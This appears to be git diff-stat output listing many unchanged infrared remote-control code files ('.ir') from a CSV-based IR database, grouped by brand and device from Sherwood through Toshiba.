.../optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir | 0 .../optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir | 0 .../_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir | 0 .../optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir | 0 .../optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir | 0 .../_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir | 0 .../optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir | 0 .../_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir | 0 .../_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir | 0 .../_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir | 0 .../_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir | 0 .../_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir | 0 .../_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir | 0 .../optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir | 0 .../optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir | 0 .../optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir | 0 .../_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir | 0 .../optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir | 0 .../_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir | 0 .../optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir | 0 .../_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir | 0 .../_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir | 0 .../optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir | 0 .../optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir | 0 .../_CSV-IRDB_/Sonance/System Controller/132,132.ir | 0 .../optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TV/119,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TV/151,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TV/164,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TV/183,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir | 0 .../optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir | 0 .../optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir | 0 .../optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir | 0 .../_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir | 0 .../_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir | 0 .../_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir | 0 .../_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir | 0 .../optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir | 0 .../_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir | 0 .../_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir | 0 .../optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir | 0 .../optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir | 0 .../optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir | 0 .../optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir | 0 .../optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir | 0 .../optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir | 0 .../optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir | 0 .../optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir | 0 .../_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir | 0 .../_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir | 0 .../optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir | 0 .../optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir | 0 .../_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir | 0 .../_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir | 0 .../Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir | 0 .../_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir | 0 .../optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir | 0 .../_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir | 0 .../_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir | 0 .../_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir | 0 .../optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir | 0 .../optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir | 0 .../_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir | 0 .../optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir | 0 .../optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir | 0 .../optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir | 0 .../Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir | 0 .../_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir | 0 .../_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir | 0 .../_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir | 0 .../_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir | 0 .../_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir | 0 .../optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir | 0 .../optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir | 0 .../optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir | 0 .../_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir | 0 .../_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir | 0 